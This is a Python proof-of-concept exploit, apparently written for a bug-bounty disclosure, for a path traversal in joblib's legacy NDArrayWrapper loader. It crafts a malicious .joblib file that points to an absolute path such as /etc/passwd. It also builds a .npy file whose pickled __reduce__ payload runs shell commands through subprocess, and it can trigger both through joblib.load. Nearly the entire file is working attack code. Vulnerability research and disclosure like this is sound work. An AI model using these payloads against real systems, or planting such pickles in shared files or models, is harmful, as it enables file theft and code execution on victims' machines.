#!/usr/bin/env python3
"""
PoC: Joblib NDArrayWrapper Path Traversal → Arbitrary File Read / RCE
CVE: TBD | CWE-22 | CVSS 8.6

Vulnerability:
    joblib/numpy_pickle_compat.py — NDArrayWrapper.read() constructs a file path
    by joining the save directory with a filename from inside the .joblib file:

        filename = os.path.join(dirname, self.filename)  # ← NO sanitization!
        array = np.load(filename, allow_pickle=self.allow_pickle)

    If self.filename is an absolute path (e.g. '/etc/passwd'), os.path.join()
    ignores dirname entirely and loads the attacker-specified file.
    With allow_pickle=True, loading a .npy containing a pickle payload → RCE.

Attack Scenario:
    Attacker crafts a "two-file" attack:
    1. malicious.joblib  — legitimate-looking joblib file with NDArrayWrapper
                           pointing to absolute path '/tmp/evil.npy'
    2. /tmp/evil.npy     — numpy file with pickle payload executing arbitrary code

    Victim runs: joblib.load('malicious.joblib')  → RCE

Usage:
    python3 poc_exploit.py            # file read demo (safe)
    python3 poc_exploit.py --rce      # also creates pickle RCE payload .npy
    python3 poc_exploit.py --trigger  # triggers the exploit

Author: security research (huntr.com submission)
"""

import sys
import os
import io
import struct
import pickle
import tempfile

try:
    import numpy as np
    HAS_NUMPY = True
except ImportError:
    HAS_NUMPY = False


# ─── Arbitrary File Read PoC ──────────────────────────────────────────────────

def create_malicious_joblib_with_absolute_path(target_path: str) -> bytes:
    """
    Craft a .joblib file whose NDArrayWrapper.filename points to an absolute path.

    The joblib NDArrayWrapper serialization format (legacy):
      - Pickle a NDArrayWrapper object with:
          subarray  = None
          filename  = '/absolute/path/to/file'  ← traversal
          allow_pickle = True
    """
    # We need to mimic joblib's internal NDArrayWrapper
    # The class lives in joblib.numpy_pickle_compat
    # We craft the pickle stream directly to set the filename

    class FakeNDArrayWrapper:
        """Mimic joblib.numpy_pickle_compat.NDArrayWrapper"""
        def __init__(self, filename, subarray=None, allow_pickle=True):
            self.filename = filename
            self.subarray = subarray
            self.allow_pickle = allow_pickle

    # We need to make pickle think this IS an NDArrayWrapper from joblib
    # Use __reduce__ to redirect to the real class
    import pickle, pickletools

    class Exploit:
        def __reduce__(self):
            # When unpickled, joblib will call NDArrayWrapper.__init__
            # But we need it stored as the actual class
            import joblib.numpy_pickle_compat as compat
            return (compat.NDArrayWrapper, (target_path, None, True))

    payload = pickle.dumps(Exploit())

    print(f"[*] Crafted NDArrayWrapper joblib pointing to: {target_path}")
    return payload


def create_rce_npy(command: str = 'id > /tmp/pwned.txt') -> bytes:
    """Create a .npy file that executes code when loaded with allow_pickle=True."""
    class RCEPayload:
        def __reduce__(self):
            import subprocess
            return (subprocess.check_output, (['sh', '-c', command],))

    # Numpy .npy format: magic + header + pickle data (for object arrays)
    MAGIC = b'\x93NUMPY'
    VERSION = b'\x01\x00'

    # Create a numpy object array containing our pickle
    import struct as st
    header_dict = "{'descr': '|O', 'fortran_order': False, 'shape': (1,), }"
    header_str = header_dict.encode() + b' ' * (64 - len(header_dict) - 1) + b'\n'
    # Pad to multiple of 64
    while len(header_str) % 64 != 0:
        header_str = header_str[:-1] + b' \n'

    header_len = st.pack('<H', len(header_str))
    npy_header = MAGIC + VERSION + header_len + header_str
    rce_pickle = pickle.dumps(RCEPayload())

    payload = npy_header + rce_pickle
    return payload


def main():
    trigger = '--trigger' in sys.argv
    rce_mode = '--rce' in sys.argv

    if not HAS_NUMPY:
        print("[-] numpy not installed. Install with: pip3 install numpy")

    # Demo: read /etc/passwd via path traversal
    target = '/etc/passwd'
    print(f"[*] Attack: Path Traversal to read {target}")

    if rce_mode:
        # Create the malicious .npy with RCE payload
        npy_path = '/tmp/evil_rce.npy'
        command = 'id > /tmp/joblib_pwned.txt && hostname >> /tmp/joblib_pwned.txt'
        npy_payload = create_rce_npy(command)
        with open(npy_path, 'wb') as f:
            f.write(npy_payload)
        print(f"[+] RCE .npy written: {npy_path}")
        print(f"    Command: {command}")
        print(f"    Output will appear in: /tmp/joblib_pwned.txt")
        target = npy_path

    # Create malicious .joblib
    out_file = 'malicious_traversal.joblib'
    payload = create_malicious_joblib_with_absolute_path(target)
    with open(out_file, 'wb') as f:
        f.write(payload)
    print(f"[+] Malicious .joblib written: {out_file} ({os.path.getsize(out_file)} bytes)")

    if trigger:
        print(f"\n[*] Triggering via joblib.load('{out_file}')...")
        try:
            import joblib
            result = joblib.load(out_file)
            print(f"[+] CONFIRMED: Loaded data from {target}")
            if hasattr(result, '__len__'):
                print(f"    Data preview: {str(result[:100])}")
        except Exception as e:
            print(f"[~] Exception: {type(e).__name__}: {e}")
    else:
        print(f"\n[i] Run with --trigger to demonstrate the path traversal:")
        print(f"    python3 {sys.argv[0]} --trigger")
        print(f"    python3 {sys.argv[0]} --rce --trigger  # RCE via .npy pickle")


if __name__ == '__main__':
    main()